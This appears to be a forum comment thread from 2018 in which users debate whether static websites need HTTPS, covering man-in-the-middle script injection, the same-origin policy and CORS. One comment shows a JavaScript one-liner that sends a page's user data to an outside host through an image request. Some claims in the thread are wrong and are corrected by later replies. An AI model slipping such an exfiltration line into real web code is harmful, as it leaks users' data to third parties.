News for hackers. Stuff that matters.
Re:Why Static Websites Need HTTPS by askmike on Tuesday August 28, 2018 @08:31AM (#17858251)
> My site is a web application that stores all user data in their browser. Their data does not come back to the server.

If you weren't using HTTPS a very simple MitM attack would send all of that data straight to any server. HTTPS doesn't just prevent intercepting AJAX communications, it prevents anyone from changing your webapp (js file) into something that uploads everything to evilcorp.com.

Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @08:42AM (#17858329)
Re:Why Static Websites Need HTTPS by raesene9 on Tuesday August 28, 2018 @08:51AM (#17858391)
Ohh I dunno. Lets say you're running a non-HTTPS site and an attacker MITMs one of your users and injects JavaScript which will appear to come from your site into that users session.

At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.

Re:Why Static Websites Need HTTPS by pixl97 on Tuesday August 28, 2018 @01:48PM (#17861012)
Uh, a MiTM will just show an entire fake site, or it can drop your content and just send a redirect header to any website it wants.
Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:29PM (#17862078)
Man in the middle attacks allow an attacker to read data over the wire. It does not mean the attacker and modify that data. It certainly doesn't mean the attacker can move traffic to a different end point.
Re:Why Static Websites Need HTTPS by AgentME on Tuesday August 28, 2018 @04:24PM (#17862526)
Usually man in the middle attack refers to an attack where someone controls a connection between you and the server and is able to freely control the connection including modifying or completely fabricating any packets coming through. Your ISP and whoever controls the wifi router you connect to can modify any data coming through like this.
Re:Why Static Websites Need HTTPS by pixl97 on Tuesday August 28, 2018 @08:46PM (#17864246)
Uh, MiTM can modify traffic, tools to do that have been around at least 2 decades.
Re:Why Static Websites Need HTTPS by mechanicalpulse on Tuesday August 28, 2018 @08:53AM (#17858409)
Re:Why Static Websites Need HTTPS by pc86 on Tuesday August 28, 2018 @08:48AM (#17858366)
Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.
Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:42PM (#17862191)
> You can break/disable SOP when it's trivially easy to edit the code.

How? SOP isn't related to the code. It is only concerned with the page address.

Re:Why Static Websites Need HTTPS by icebraining on Tuesday August 28, 2018 @07:00PM (#17863676)
The point is that you can put the code wherever you want, including inside the same origin context (e.g. right in the main HTML).
Re:Why Static Websites Need HTTPS by bn-usd-mistake on Tuesday August 28, 2018 @08:48AM (#17858362)
Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com
Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:32PM (#17862106)
CORS allows a site to bypass same origin policy according to a whitelist specified in the corresponding HTTP header. The setup on evil.com is irrelevant. CORS must be instantiated from the server sending the page.

https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

Re:Why Static Websites Need HTTPS by icebraining on Tuesday August 28, 2018 @07:01PM (#17863686)
No. From your link: "Note that in the CORS architecture, the ACAO header is being set by the external web service (service.example.com), not the original web application server (www.example.com). CORS allows the external web service to authorise the web application to use its services and does not control external services accessed by the web application."
Re:Why Static Websites Need HTTPS by slig on Tuesday August 28, 2018 @08:48AM (#17858360)
How does same-origin policy (on a MITM'd website) prevents this?

    (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
Re:Why Static Websites Need HTTPS by bn-usd-mistake on Tuesday August 28, 2018 @08:50AM (#17858385)
It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
Re:Why Static Websites Need HTTPS by austincheney on Tuesday August 28, 2018 @03:33PM (#17862115)